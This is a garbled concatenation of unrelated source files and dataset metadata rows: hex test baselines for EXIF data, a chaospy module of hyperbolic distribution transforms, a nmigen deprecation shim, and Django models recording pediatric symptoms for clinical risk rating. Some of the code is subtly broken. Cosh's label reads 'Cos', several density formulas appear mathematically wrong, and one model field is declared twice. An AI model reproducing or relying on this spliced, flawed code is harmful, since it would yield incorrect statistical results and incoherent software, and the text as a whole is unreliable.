84467AFAD5CDFC5636F32F631F3C75C13F53504D7F1C684995171D371ABD4DB583CE7149E41E3B4B4881274B61
9FC51FFDD47318973D9C2D1F9000532F35DB4DB80FB8FF00A57FAD52DE6AF6EFD04BF4E74718C9F105CE28724B
AC2F313DAA0F116C2884B9BE723B4BD85CF8760173F5A120323C7DA265801EF0DB8C7864D4B0BA91B6548813D1
BA81E479D556200EF68B80DFDF258D4FF2AA818F4C53E252CDEFDFCA467001FD683C8ED8C2A1F246490797A54E
9284B43BB08CA39151D3D3C6BAC6DC346D41B7B38C48B9E78383F1A85E466042ABAF7EE0722847BB3B0044562D
8DCAA7BE99DB658A8DF9CF3507245758EB86E1DC969242F8E7CFA0F85397675255BD3950F1B3B280E08F3661F9
0FEB45C7ECF90663DA11F88F2F90E558CD4D12452C61493D7C19813F0A2A1699C7B91BB8F0119F9FA54705EDBC
3FF8D23079E085028793566507748416F0A4B43934835C4EABBDA28D477EE7FE99A02E6F6E579234699CFDD5C9
F99A1A6D5F29B7693E6D404B7D03B65F2FE41B14165E2862DE7C18549732ECDED2BB11D72C5ABEC735FDD1296F
14933E3A46A491E98A56DAC59DB81B2CEDF70FE674DD8F9D4B71C61AA7646382EA48A3231B63C463E4B8A4CE53
E118F32BA74A1C673E4BFE10CBC3FADAC9DA4962F0AFE29DBB3F8F320D29225B68F13EA32123F9616217E7DF55
379ABDE4ED992E2573E2589FAD00F3C8C49393EB4718D47DE6BE019BA51EEA7F25BCFA963DD491F18EACD9A067
BC2C7392C7D6AB9DA4272722A324F79F955118D89253B84B49BCE4E56A272809C31CD479FC44F9525505B19147
61468D52E92D83C1112A0ED240E79C7E54F12A5BC00380F291831A9F781F1F2A54A98286C2DD9C21A464424EED
CF91CFB863AD34CB24982E48DA30A4A803D76F3E7EB4A9571826656C6F264F53CBE5D29E2601797203C2952AE3
864D7F1C6B8DD93E5424BA93B0C29A54AB1849101BD93FCC3E82A3F6A7F126952A00D0D3725B9531A639EBCE95
2A1B05BCC4253DE7269C27503271F1A54A86C31498D7B8EEC8F9D45DB3B7DD0B8F1A54A89205C98D24B0C39C8E
EA6E3CCFA52A55A00FCE7957D0A7AF2A54AB4E3FFFD9
"""
)
ADD_SHORT_LE_BASELINE = Baseline(
"""
FFE1020245786966000049492A000800000009000F0102000D0000007A000000100102000E000000880000001A
01050001000000960000001B010500010000009E00000028010300010000000200000013020300010000000200
00001402050006000000A60000006987040001000000D600000025880400010000008801000000000000455849
46205061636B61676500004C6974746C6520456E6469616E00C800000001000000C80000000100000000000000
01000000FF000000010000008000000001000000FF000000010000008000000001000000FF000000010000000C
0000900700040000003032323003900200140000006C01000001910700040000002502030000A0070004000000
3031303001A00300010000000100000002A0030001000000D803000003A00300010000006505000009A4030001
000000010000000AA40300010000000100000008A4030001000000010000000892030001000000180000000392
0A00010000008001000000000000323031393A30323A30382032313A34343A33350031D4000010270000050000
00010004000000020300000100020002000000530000000200050003000000CA01000003000200020000005700
00000400050003000000E2010000000000004F000000010000002400000001000000B96B0100A30600002F0000
000100000019000000010000001BE50300E91C0000FFDB
"""
)
| 90.336918
| 94
| 0.94485
| 289
| 25,204
| 82.373702
| 0.653979
| 0.657817
| 0.964043
| 1.255146
| 0.33647
| 0.33647
| 0.33647
| 0.33647
| 0.33647
| 0.33647
| 0
| 0.821133
| 0.054158
| 25,204
| 278
| 95
| 90.661871
| 0.177482
| 0.002857
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.2
| 0
| 0.2
| 0
| 0
| 0
| 1
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
618ec9360699a6e151df84633af80856461cdeb7
| 4,619
|
py
|
Python
|
src/chaospy/distributions/operators/hyperbolic.py
|
yoon-gu/chaospy
|
fe541840a79882008f38764cd7ba4935a4fd4fa3
|
[
"BSD-3-Clause"
] | 1
|
2018-08-22T01:51:25.000Z
|
2018-08-22T01:51:25.000Z
|
src/chaospy/distributions/operators/hyperbolic.py
|
TribleCircle/chaospy
|
f22aa31e2a338a32a6d09b810c5b629c10a87236
|
[
"BSD-3-Clause"
] | null | null | null |
src/chaospy/distributions/operators/hyperbolic.py
|
TribleCircle/chaospy
|
f22aa31e2a338a32a6d09b810c5b629c10a87236
|
[
"BSD-3-Clause"
] | 1
|
2019-11-24T17:16:30.000Z
|
2019-11-24T17:16:30.000Z
|
"""
Collection of hyerbolic operators
Example usage
-------------
"""
import numpy
from ..baseclass import Dist
class Sinh(Dist):
def __init__(self, dist):
Dist.__init__(self, dist=dist,
_length=len(dist), _advance=True)
def _str(self, dist):
return "Sinh(%s)" % dist
def _val(self, graph):
if "dist" in graph.keys:
return numpy.sinh(graph.keys["dist"])
return self
def _pdf(self, x, graph):
return graph(numpy.arcsinh(x), graph.dists["dist"])/numpy.sqrt(1+x*x)
def _cdf(self, x, graph):
return graph(numpy.arcsinh(x), graph.dists["dist"])
def _ppf(self, q, graph):
return numpy.sinh(graph(q, graph.dists["dist"]))
def _bnd(self, x, graph):
return numpy.sinh(graph(numpy.arcsinh(x), graph.dists["dist"]))
class Arcsinh(Dist):
def __init__(self, dist):
Dist.__init__(self, dist=dist,
_length=len(dist), _advance=True)
def _str(self, dist):
return "Arcsinh(%s)" % dist
def _val(self, graph):
if "dist" in graph.keys:
return numpy.arcsinh(graph.keys["dist"])
return self
def _pdf(self, x, graph):
return graph(numpy.sinh(x), graph.dists["dist"])*numpy.cosh(x)
def _cdf(self, x, graph):
return graph(numpy.sinh(x), graph.dists["dist"])
def _ppf(self, q, graph):
return numpy.arcsinh(graph(q, graph.dists["dist"]))
def _bnd(self, x, graph):
return numpy.arcsinh(graph(numpy.sinh(x), graph.dists["dist"]))
class Cosh(Dist):
def __init__(self, dist):
assert numpy.all(dist.range()>=0)
Dist.__init__(self, dist=dist,
_length=len(dist), _advance=True)
def _str(self, dist):
return "Cos(%s)" % dist
def _val(self, graph):
if "dist" in graph.keys:
return numpy.cosh(graph.keys["dist"])
return self
def _pdf(self, x, graph):
return graph(numpy.arccosh(x), graph.dists["dist"])/numpy.sqrt(x*x-1)
def _cdf(self, x, graph):
return graph(numpy.arccosh(x), graph.dists["dist"])
def _ppf(self, q, graph):
return numpy.cosh(graph(q, graph.dists["dist"]))
def _bnd(self, x, graph):
return numpy.cosh(graph(numpy.arccosh(x), graph.dists["dist"]))
class Arccosh(Dist):
def __init__(self, dist):
assert numpy.all(dist.range()>=1)
Dist.__init__(self, dist=dist,
_length=len(dist), _advance=True)
def _str(self, dist):
return "Arccosh(%s)" % dist
def _val(self, graph):
if "dist" in graph.keys:
return numpy.arccosh(graph.keys["dist"])
return self
def _pdf(self, x, graph):
return graph(numpy.cosh(x), graph.dists["dist"])*numpy.sinh(x)
def _cdf(self, x, graph):
return graph(numpy.cosh(x), graph.dists["dist"])
def _ppf(self, q, graph):
return numpy.arccosh(graph(q, graph.dists["dist"]))
def _bnd(self, x, graph):
return numpy.arccosh(graph(numpy.cosh(x), graph.dists["dist"]))
class Tanh(Dist):
def __init__(self, dist):
lo,up = dist.range()
assert numpy.all(lo>=-1) and numpy.all(up<=1)
Dist.__init__(self, dist=dist,
_length=len(dist), _advance=True)
def _str(self, dist):
return "Tanh(%s)" % dist
def _val(self, graph):
if "dist" in graph.keys:
return numpy.tanh(graph.keys["dist"])
return self
def _pdf(self, x, graph):
return graph(numpy.arctanh(x), graph.dists["dist"])/numpy.sqrt(1-x*x)
def _cdf(self, x, graph):
return graph(numpy.arctanh(x), graph.dists["dist"])
def _ppf(self, q, graph):
return numpy.tanh(graph(q, graph.dists["dist"]))
def _bnd(self, x, graph):
return numpy.tanh(graph(numpy.arctanh(x), graph.dists["dist"]))
class Arctanh(Dist):
def __init__(self, dist):
Dist.__init__(self, dist=dist,
_length=len(dist), _advance=True)
def _str(self, dist):
return "Arctanh(%s)" % dist
def _val(self, graph):
if "dist" in graph.keys:
return numpy.arctanh(graph.keys["dist"])
return self
def _pdf(self, x, graph):
return graph(numpy.tanh(x), graph.dists["dist"])/numpy.sinh(x)**2
def _cdf(self, x, graph):
return graph(numpy.tanh(x), graph.dists["dist"])
def _ppf(self, q, graph):
return numpy.arctanh(graph(q, graph.dists["dist"]))
def _bnd(self, x, graph):
return numpy.arctanh(graph(numpy.tanh(x), graph.dists["dist"]))
| 26.545977
| 77
| 0.585841
| 639
| 4,619
| 4.084507
| 0.079812
| 0.082759
| 0.128736
| 0.110345
| 0.911494
| 0.867433
| 0.863985
| 0.78659
| 0.781992
| 0.776628
| 0
| 0.002314
| 0.25157
| 4,619
| 173
| 78
| 26.699422
| 0.752676
| 0.013423
| 0
| 0.578947
| 0
| 0
| 0.043966
| 0
| 0
| 0
| 0
| 0
| 0.026316
| 1
| 0.368421
| false
| 0
| 0.017544
| 0.263158
| 0.807018
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 9
|
619a55fa58d98a902eaf7f4c83462d80fdb2a6ca
| 227
|
py
|
Python
|
nmigen_boards/mercury.py
|
lethalbit/nmigen-boards
|
aaf18252e457ff95257137da2a629820c0ff2bfa
|
[
"BSD-2-Clause"
] | 11
|
2021-12-10T12:23:29.000Z
|
2022-03-13T08:40:20.000Z
|
nmigen_boards/mercury.py
|
lethalbit/nmigen-boards
|
aaf18252e457ff95257137da2a629820c0ff2bfa
|
[
"BSD-2-Clause"
] | 12
|
2021-12-11T18:51:29.000Z
|
2022-03-12T05:08:52.000Z
|
nmigen_boards/mercury.py
|
lethalbit/nmigen-boards
|
aaf18252e457ff95257137da2a629820c0ff2bfa
|
[
"BSD-2-Clause"
] | 7
|
2021-12-12T07:20:21.000Z
|
2022-03-06T06:20:55.000Z
|
from amaranth_boards.mercury import *
from amaranth_boards.mercury import __all__
import warnings
warnings.warn("instead of nmigen_boards.mercury, use amaranth_boards.mercury",
DeprecationWarning, stacklevel=2)
| 28.375
| 78
| 0.792952
| 27
| 227
| 6.37037
| 0.555556
| 0.302326
| 0.366279
| 0.290698
| 0.360465
| 0
| 0
| 0
| 0
| 0
| 0
| 0.005155
| 0.145374
| 227
| 7
| 79
| 32.428571
| 0.881443
| 0
| 0
| 0
| 0
| 0
| 0.268722
| 0.198238
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.6
| 0
| 0.6
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 8
|
4edde30c7e179b218ce24f5d50bb55c7614450e3
| 27,777
|
py
|
Python
|
apps/risk_rating/models.py
|
fga-gpp-mds/2017.2-Grupo4
|
e7cd2114ed46da879700f6163594d57e7797e367
|
[
"MIT"
] | 7
|
2017-08-22T19:27:25.000Z
|
2017-12-09T18:17:40.000Z
|
apps/risk_rating/models.py
|
fga-gpp-mds/2017.2-Grupo4
|
e7cd2114ed46da879700f6163594d57e7797e367
|
[
"MIT"
] | 89
|
2017-09-20T03:22:49.000Z
|
2017-12-11T18:50:25.000Z
|
apps/risk_rating/models.py
|
fga-gpp-mds/2017.2-Grupo4
|
e7cd2114ed46da879700f6163594d57e7797e367
|
[
"MIT"
] | 1
|
2017-09-26T04:15:49.000Z
|
2017-09-26T04:15:49.000Z
|
from django.db import models
from django.utils.translation import ugettext as _
from apps.users.models import Patient
class Symptoms_28d(models.Model):
class Meta:
abstract = True
date = models.DateField(
verbose_name='Data',
blank=False,
auto_now=True
)
dispneia = models.BooleanField(
verbose_name=("Dispneia"),
default=False,
blank=True
)
ictericia = models.BooleanField(
verbose_name=("Icterícia"),
default=False, blank=True
)
perdada_consciencia = models.BooleanField(
verbose_name=("Perda de Consciência"),
default=False,
blank=True
)
cianose = models.BooleanField(
verbose_name=("Cianose"),
default=False,
blank=True
)
febre = models.BooleanField(
verbose_name=("Febre"),
default=False,
blank=True
)
solucos = models.BooleanField(
verbose_name=("Soluços"),
default=False,
blank=True
)
prostracao = models.BooleanField(
verbose_name=("Prostração"),
default=False,
blank=True
)
vomitos = models.BooleanField(
verbose_name=("Vômitos"),
default=False,
blank=True
)
tosse = models.BooleanField(
verbose_name=("Tosse"),
default=False,
blank=True
)
coriza = models.BooleanField(
verbose_name=("Coriza"),
default=False,
blank=True
)
obstrucao_nasal = models.BooleanField(
verbose_name=("Obstrução Nasal"),
default=False,
blank=True
)
convulsao_no_momento = models.BooleanField(
verbose_name=("convulsão no momento"),
default=False,
blank=True
)
diarreia = models.BooleanField(
verbose_name=("Diarréia"),
default=False,
blank=True
)
choro_inconsolavel = models.BooleanField(
verbose_name=("Choro Inconsolável"),
default=False,
blank=True
)
dificuldade_evacuar = models.BooleanField(
verbose_name=("Dificuldade de Evacuar"),
default=False,
blank=True
)
nao_suga_seio = models.BooleanField(
verbose_name=("Não suga o seio"),
default=False,
blank=True
)
manchas_na_pele = models.BooleanField(
verbose_name=("Manchas na pele"),
default=False,
blank=True
)
salivacao = models.BooleanField(
verbose_name=("Salivação"),
default=False,
blank=True
)
queda = models.BooleanField(
verbose_name=("Queda"),
default=False,
blank=True
)
chiado_no_peito = models.BooleanField(
verbose_name=("Chiado no peito"),
default=False,
blank=True
)
diminuicao_da_diurese = models.BooleanField(
verbose_name=("Diminuição da Diurese"),
default=False,
blank=True
)
dor_abdominal = models.BooleanField(
verbose_name=("Dor abdominal"),
default=False,
blank=True
)
dor_de_ouvido = models.BooleanField(
verbose_name=("Dor de ouvido"),
default=False,
blank=True
)
fontanela_abaulada = models.BooleanField(
verbose_name=("Fontanela abaulada"),
default=False,
blank=True
)
secrecao_no_umbigo = models.BooleanField(
verbose_name=("Secreção no umbigo"),
default=False,
blank=True
)
secrecao_ocular = models.BooleanField(
verbose_name=("Secreção ocular"),
default=False,
blank=True
)
sangue_nas_fezes = models.BooleanField(
verbose_name=("Sangue nas fezes"),
default=False,
blank=True
)
convulsao_hoje = models.BooleanField(
verbose_name=("Relato de convulsão hoje"),
default=False,
blank=True
)
class ClinicalState_28d(Symptoms_28d):
created_at = models.DateTimeField(auto_now_add=True)
patient = models.ForeignKey(Patient, on_delete=models.CASCADE,
related_name="patient1")
classifier_id = models.CharField(
verbose_name=('ID do Classificador'),
max_length=150,
blank=True,
unique=False
)
class MachineLearning_28d(Symptoms_28d):
CLASSIFICATION_TYPES = (
(1, 'Atendimento Imediato'),
(2, 'Atendimento Hospitalar'),
(3, 'Atendimento Ambulatorial')
)
classification = models.IntegerField(
verbose_name=_('Classification'),
choices=CLASSIFICATION_TYPES,
blank=False,
default=0
)
class Symptoms_29d_2m(models.Model):
class Meta:
abstract = True
date = models.DateField(
verbose_name='Data',
blank=False,
auto_now=True
)
# symptoms:
dispneia = models.BooleanField(
verbose_name=("Dispneia"),
default=False,
blank=True
)
ictericia = models.BooleanField(
verbose_name=("Icterícia"),
default=False,
blank=True
)
perdada_consciencia = models.BooleanField(
verbose_name=("Perda de Consciência"),
default=False,
blank=True
)
cianose = models.BooleanField(
verbose_name=("Cianose"),
default=False,
blank=True
)
febre = models.BooleanField(
verbose_name=("Febre"),
default=False,
blank=True
)
solucos = models.BooleanField(
verbose_name=("Soluços"),
default=False,
blank=True
)
prostracao = models.BooleanField(
verbose_name=("Prostração"),
default=False,
blank=True
)
vomitos = models.BooleanField(
verbose_name=("Vômitos"),
default=False,
blank=True
)
tosse = models.BooleanField(
verbose_name=("Tosse"),
default=False,
blank=True
)
coriza = models.BooleanField(
verbose_name=("Coriza"),
default=False,
blank=True
)
obstrucao_nasal = models.BooleanField(
verbose_name=("Obstrução Nasal"),
default=False,
blank=True
)
convulsao_no_momento = models.BooleanField(
verbose_name=("convulsão no momento"),
default=False,
blank=True
)
diarreia = models.BooleanField(
verbose_name=("Diarréia"),
default=False,
blank=True
)
dificuldade_evacuar = models.BooleanField(
verbose_name=("Dificuldade de Evacuar"),
default=False,
blank=True
)
nao_suga_seio = models.BooleanField(
verbose_name=("Não suga o seio"),
default=False,
blank=True
)
manchas_na_pele = models.BooleanField(
verbose_name=("Manchas na pele"),
default=False,
blank=True
)
salivacao = models.BooleanField(
verbose_name=("Salivação"),
default=False,
blank=True
)
queda = models.BooleanField(
verbose_name=("Queda"),
default=False,
blank=True
)
chiado_no_peito = models.BooleanField(
verbose_name=("Chiado no peito"),
default=False,
blank=True
)
diminuicao_da_diurese = models.BooleanField(
verbose_name=("Diminuição da Diurese"),
default=False,
blank=True
)
dor_abdominal = models.BooleanField(
verbose_name=("Dor abdominal"),
default=False,
blank=True
)
dor_de_ouvido = models.BooleanField(
verbose_name=("Dor de ouvido"),
default=False,
blank=True
)
fontanela_abaulada = models.BooleanField(
verbose_name=("Fontanela abaulada"),
default=False,
blank=True
)
secrecao_no_umbigo = models.BooleanField(
verbose_name=("Secreção no umbigo"),
default=False,
blank=True
)
secrecao_ocular = models.BooleanField(
verbose_name=("Secreção ocular"),
default=False,
blank=True
)
sangue_nas_fezes = models.BooleanField(
verbose_name=("Sangue nas fezes"),
default=False,
blank=True
)
convulsao_hoje = models.BooleanField(
verbose_name=("Relato de convulsão hoje"),
default=False,
blank=True
)
class ClinicalState_29d_2m(Symptoms_29d_2m):
created_at = models.DateTimeField(auto_now_add=True)
patient = models.ForeignKey(Patient, on_delete=models.CASCADE,
related_name="patient2")
classifier_id = models.CharField(
verbose_name=('ID do Classificador'),
max_length=150,
blank=True,
unique=False
)
class MachineLearning_29d_2m(Symptoms_29d_2m):
CLASSIFICATION_TYPES = (
(1, 'Atendimento Imediato'),
(2, 'Atendimento Hospitalar'),
(3, 'Atendimento Ambulatorial')
)
classification = models.IntegerField(
verbose_name=_('Classification'),
choices=CLASSIFICATION_TYPES,
blank=False,
default=0
)
class Symptoms_2m_3y(models.Model):
class Meta:
abstract = True
date = models.DateField(
verbose_name='Data',
blank=False,
auto_now=True
)
# symptoms:
dispneia = models.BooleanField(
verbose_name=("Dispneia"),
default=False,
blank=True
)
ictericia = models.BooleanField(
verbose_name=("Icterícia"),
default=False,
blank=True
)
perdada_consciencia = models.BooleanField(
verbose_name=("Perda de Consciência"),
default=False,
blank=True
)
cianose = models.BooleanField(
verbose_name=("Cianose"),
default=False,
blank=True
)
febre = models.BooleanField(
verbose_name=("Febre"),
default=False,
blank=True
)
solucos = models.BooleanField(
verbose_name=("Soluços"),
default=False,
blank=True
)
prostracao = models.BooleanField(
verbose_name=("Prostração"),
default=False,
blank=True
)
vomitos = models.BooleanField(
verbose_name=("Vômitos"),
default=False,
blank=True
)
tosse = models.BooleanField(
verbose_name=("Tosse"),
default=False,
blank=True
)
coriza = models.BooleanField(
verbose_name=("Coriza"),
default=False,
blank=True
)
obstrucao_nasal = models.BooleanField(
verbose_name=("Obstrução Nasal"),
default=False,
blank=True
)
convulsao_no_momento = models.BooleanField(
verbose_name=("convulsão no momento"),
default=False,
blank=True
)
diarreia = models.BooleanField(
verbose_name=("Diarréia"),
default=False,
blank=True
)
dificuldade_evacuar = models.BooleanField(
verbose_name=("Dificuldade de Evacuar"),
default=False,
blank=True
)
nao_suga_seio = models.BooleanField(
verbose_name=("Não suga o seio"),
default=False,
blank=True
)
manchas_na_pele = models.BooleanField(
verbose_name=("Manchas na pele"),
default=False,
blank=True
)
salivacao = models.BooleanField(
verbose_name=("Salivação"),
default=False,
blank=True
)
queda = models.BooleanField(
verbose_name=("Queda"),
default=False,
blank=True
)
chiado_no_peito = models.BooleanField(
verbose_name=("Chiado no peito"),
default=False,
blank=True
)
diminuicao_da_diurese = models.BooleanField(
verbose_name=("Diminuição da Diurese"),
default=False,
blank=True
)
dor_abdominal = models.BooleanField(
verbose_name=("Dor abdominal"),
default=False,
blank=True
)
dor_de_ouvido = models.BooleanField(
verbose_name=("Dor de ouvido"),
default=False,
blank=True
)
fontanela_abaulada = models.BooleanField(
verbose_name=("Fontanela abaulada"),
default=False,
blank=True
)
secrecao_no_umbigo = models.BooleanField(
verbose_name=("Secreção no umbigo"),
default=False,
blank=True
)
secrecao_ocular = models.BooleanField(
verbose_name=("Secreção ocular"),
default=False,
blank=True
)
class ClinicalState_2m_3y(Symptoms_2m_3y):
created_at = models.DateTimeField(auto_now_add=True)
patient = models.ForeignKey(Patient, on_delete=models.CASCADE,
related_name="patient3")
classifier_id = models.CharField(
verbose_name=('ID do Classificador'),
max_length=150,
blank=True,
unique=False
)
class MachineLearning_2m_3y(Symptoms_2m_3y):
CLASSIFICATION_TYPES = (
(1, 'Atendimento Imediato'),
(2, 'Atendimento Hospitalar'),
(3, 'Atendimento Ambulatorial')
)
classification = models.IntegerField(
verbose_name=_('Classification'),
choices=CLASSIFICATION_TYPES,
blank=False,
default=0
)
class Symptoms_3y_10y(models.Model):
class Meta:
abstract = True
date = models.DateField(
verbose_name='Data',
blank=False,
auto_now=True
)
# symptoms:
perdada_consciencia = models.BooleanField(
verbose_name=("Perda de Consciência"),
default=False,
blank=True
)
febre_maior_72h = models.BooleanField(
verbose_name=("Febre Mais de 72 horas"),
default=False,
blank=True
)
febre_menos_72h = models.BooleanField(
verbose_name=("Febre Menos de 72 horas"),
default=False,
blank=True
)
odinofagia = models.BooleanField(
verbose_name=("Odinofagia"),
default=False,
blank=True
)
fascies_de_dor = models.BooleanField(
verbose_name=("Fascies De Dor"),
default=False,
blank=True
)
tontura = models.BooleanField(
verbose_name=("Tontura"),
default=False,
blank=True
)
corpo_estranho = models.BooleanField(
verbose_name=("Corpo Estranho"),
default=False,
blank=True
)
dor_dentes = models.BooleanField(
verbose_name=("Dor de dentes"),
default=False,
blank=True
)
disuria = models.BooleanField(
verbose_name=("Disuria"),
default=False,
blank=True
)
urina_concentrada = models.BooleanField(
verbose_name=("Urina Concentrada"),
default=False,
blank=True
)
dispneia = models.BooleanField(
verbose_name=("Dispneia"),
default=False,
blank=True
)
dor_toracica = models.BooleanField(
verbose_name=("Dor Toracica"),
default=False,
blank=True
)
choque_eletrico = models.BooleanField(
verbose_name=("Choque Eletrico"),
default=False,
blank=True
)
quase_afogamento = models.BooleanField(
verbose_name=("Quase Afogamento"),
default=False,
blank=True
)
artralgia = models.BooleanField(
verbose_name=("Artralgia"),
default=False,
blank=True
)
ictericia = models.BooleanField(
verbose_name=("Icterícia"),
default=False,
blank=True
)
perda_consciencia = models.BooleanField(
verbose_name=("Perda de consciencia"),
default=False,
blank=True
)
palidez = models.BooleanField(
verbose_name=("Palidez"),
default=False,
blank=True
)
cianose = models.BooleanField(
verbose_name=("Cianose"),
default=False,
blank=True
)
solucos = models.BooleanField(
verbose_name=("Soluços"),
default=False,
blank=True
)
prostracao = models.BooleanField(
verbose_name=("Prostração"),
default=False,
blank=True
)
febre = models.BooleanField(
verbose_name=("Febre"),
default=False,
blank=True
)
vomitos = models.BooleanField(
verbose_name=("Vomitos"),
default=False,
blank=True
)
tosse = models.BooleanField(
verbose_name=("Tosse"),
default=False,
blank=True
)
coriza = models.BooleanField(
verbose_name=("Coriza"),
default=False,
blank=True
)
espirros = models.BooleanField(
verbose_name=("Espirros"),
default=False,
blank=True
)
hiperemia_conjuntival = models.BooleanField(
verbose_name=("Hiperemia Conjuntival"),
default=False,
blank=True
)
secrecao_ocular = models.BooleanField(
verbose_name=("Secrecao Ocular"),
default=False,
blank=True
)
obstrucao_nasal = models.BooleanField(
verbose_name=("Obstrução Nasal"),
default=False,
blank=True
)
convulsao = models.BooleanField(
verbose_name=("Convulsão"),
default=False,
blank=True
)
diarreia = models.BooleanField(
verbose_name=("Diarreia"),
default=False,
blank=True
)
manchas_na_pele = models.BooleanField(
verbose_name=("Manchas na pele"),
default=False,
blank=True
)
queda = models.BooleanField(
verbose_name=("Queda"),
default=False,
blank=True
)
hiporexia = models.BooleanField(
verbose_name=("Hiporexia"),
default=False,
blank=True
)
salivacao = models.BooleanField(
verbose_name=("Salivacao"),
default=False,
blank=True
)
constipacao = models.BooleanField(
verbose_name=("Constipação"),
default=False,
blank=True
)
chiado_no_peito = models.BooleanField(
verbose_name=("Chiado no Peito"),
default=False,
blank=True
)
diminuicao_da_diurese = models.BooleanField(
verbose_name=("Diminuição da Diurese"),
default=False,
blank=True
)
dor_abdominal = models.BooleanField(
verbose_name=("Dor Abdominal"),
default=False,
blank=True
)
otalgia = models.BooleanField(
verbose_name=("Otalgia"),
default=False,
blank=True
)
epistaxe = models.BooleanField(
verbose_name=("Epistaxe"),
default=False,
blank=True
)
otorreia = models.BooleanField(
verbose_name=("Otorreia"),
default=False,
blank=True
)
edema = models.BooleanField(
verbose_name=("Edema"),
default=False,
blank=True
)
adenomegalias = models.BooleanField(
verbose_name=("Adenomegalias"),
default=False,
blank=True
)
dor_articular = models.BooleanField(
verbose_name=("Dor Articular"),
default=False,
blank=True
)
dificulade_de_marchar = models.BooleanField(
verbose_name=("Dificuldade Marchar"),
default=False,
blank=True
)
sonolencia = models.BooleanField(
verbose_name=("Sonolência"),
default=False,
blank=True
)
dor_muscular = models.BooleanField(
verbose_name=("Dor Muscular"),
default=False,
blank=True
)
dor_retroorbitaria = models.BooleanField(
verbose_name=("Dor Retroorbitária"),
default=False,
blank=True
)
class ClinicalState_3y_10y(Symptoms_3y_10y):
created_at = models.DateTimeField(auto_now_add=True)
patient = models.ForeignKey(Patient, on_delete=models.CASCADE,
related_name="patient4")
classifier_id = models.CharField(
verbose_name=('ID do Classificador'),
max_length=150,
blank=True,
unique=False
)
class MachineLearning_3y_10y(Symptoms_3y_10y):
CLASSIFICATION_TYPES = (
(1, 'Atendimento Imediato'),
(2, 'Atendimento Hospitalar'),
(3, 'Atendimento Ambulatorial')
)
classification = models.IntegerField(
verbose_name=_('Classification'),
choices=CLASSIFICATION_TYPES,
blank=False,
default=0
)
class Symptoms_10yMore(models.Model):
class Meta:
abstract = True
date = models.DateField(
verbose_name='Data',
blank=False,
auto_now=True
)
# symptoms:
mais_de_72h_febre = models.BooleanField(
verbose_name=("Febre a mais de 72 horas"),
default=False,
blank=True
)
menos_de_72h_febre = models.BooleanField(
verbose_name=("Febre a menos de 72 horas"),
default=False,
blank=True
)
tontura = models.BooleanField(
verbose_name=("Tontura"),
default=False,
blank=True
)
corpo_estranho = models.BooleanField(
verbose_name=("Corpo estranho"),
default=False,
blank=True
)
dor_de_dente = models.BooleanField(
verbose_name=("Dor de dente"),
default=False,
blank=True
)
disuria = models.BooleanField(
verbose_name=("Disúria"),
default=False,
blank=True
)
urina_concentrada = models.BooleanField(
verbose_name=("Urina concentrada"),
default=False,
blank=True
)
dispneia = models.BooleanField(
verbose_name=("Dispneia"),
default=False,
blank=True
)
dor_toracica = models.BooleanField(
verbose_name=("Dor torácica"),
default=False,
blank=True
)
choque_eletrico = models.BooleanField(
verbose_name=("Choque elétrico"),
default=False,
blank=True
)
quase_afogamento = models.BooleanField(
verbose_name=("Quase afogamento"),
default=False,
blank=True
)
artralgia = models.BooleanField(
verbose_name=("Artralgia"),
default=False,
blank=True
)
ictericia = models.BooleanField(
verbose_name=("Icterícia"),
default=False,
blank=True
)
perda_da_consciencia = models.BooleanField(
verbose_name=("Perda da conciência"),
default=False,
blank=True
)
palidez = models.BooleanField(
verbose_name=("Palidez"),
default=False,
blank=True
)
cianose = models.BooleanField(
verbose_name=("Cianose"),
default=False,
blank=True
)
solucos = models.BooleanField(
verbose_name=("Soluços"),
default=False,
blank=True
)
prostracao = models.BooleanField(
verbose_name=("Prostração"),
default=False,
blank=True
)
febre = models.BooleanField(
verbose_name=("Febre"),
default=False,
blank=True
)
vomitos = models.BooleanField(
verbose_name=("Vômitos"),
default=False,
blank=True
)
tosse = models.BooleanField(
verbose_name=("Tosse"),
default=False,
blank=True
)
coriza = models.BooleanField(
verbose_name=("Coriza"),
default=False,
blank=True
)
espirros = models.BooleanField(
verbose_name=("Espirros"),
default=False,
blank=True
)
hiperemia_conjuntival = models.BooleanField(
verbose_name=("Hiperemia conjuntival"),
default=False,
blank=True
)
secrecao_ocular = models.BooleanField(
verbose_name=("Secreção ocular"),
default=False,
blank=True
)
obstrucao_nasal = models.BooleanField(
verbose_name=("Obstrução nasal"),
default=False,
blank=True
)
convulsao = models.BooleanField(
verbose_name=("Convulsão"),
default=False,
blank=True
)
diarreia = models.BooleanField(
verbose_name=("Diarreia"),
default=False,
blank=True
)
dificuldade_evacuar = models.BooleanField(
verbose_name=("Dificuldade de evacuar"),
default=False,
blank=True
)
cefaleia = models.BooleanField(
verbose_name=("Cefaléia"),
default=False,
blank=True
)
manchas_na_pele = models.BooleanField(
verbose_name=("Manchas na pele"),
default=False,
blank=True
)
queda = models.BooleanField(
verbose_name=("Queda"),
default=False,
blank=True
)
hiporexia = models.BooleanField(
verbose_name=("Hiporexia"),
default=False,
blank=True
)
salivacao = models.BooleanField(
verbose_name=("Salivação"),
default=False,
blank=True
)
hiporexia = models.BooleanField(
verbose_name=("Hiporexia"),
default=False,
blank=True
)
constipacao = models.BooleanField(
verbose_name=("Constipação"),
default=False,
blank=True
)
chiado_no_peito = models.BooleanField(
verbose_name=("Chiado no peito"),
default=False,
blank=True
)
diminuicao_da_diurese = models.BooleanField(
verbose_name=("Diminuição da diurese"),
default=False,
blank=True
)
